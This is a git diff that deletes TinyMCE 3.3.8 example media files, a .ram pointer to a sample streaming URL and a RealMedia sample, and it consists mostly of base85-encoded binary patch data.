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 V%nRI+4>cN*Ew+}x489Hu0st~Ma3lZ# diff --git a/tinymce-3.3.8/examples/media/sample.ram b/tinymce-3.3.8/examples/media/sample.ram deleted file mode 100644 index e2ce04c..0000000 --- a/tinymce-3.3.8/examples/media/sample.ram +++ /dev/null @@ -1 +0,0 @@ -http://streaming.uga.edu/samples/ayp_lan.rm \ No newline at end of file diff --git a/tinymce-3.3.8/examples/media/sample.rm b/tinymce-3.3.8/examples/media/sample.rm deleted file mode 100644 index 8947706e051d439d313c48c7eda99f2334d0dc61..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 17846 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 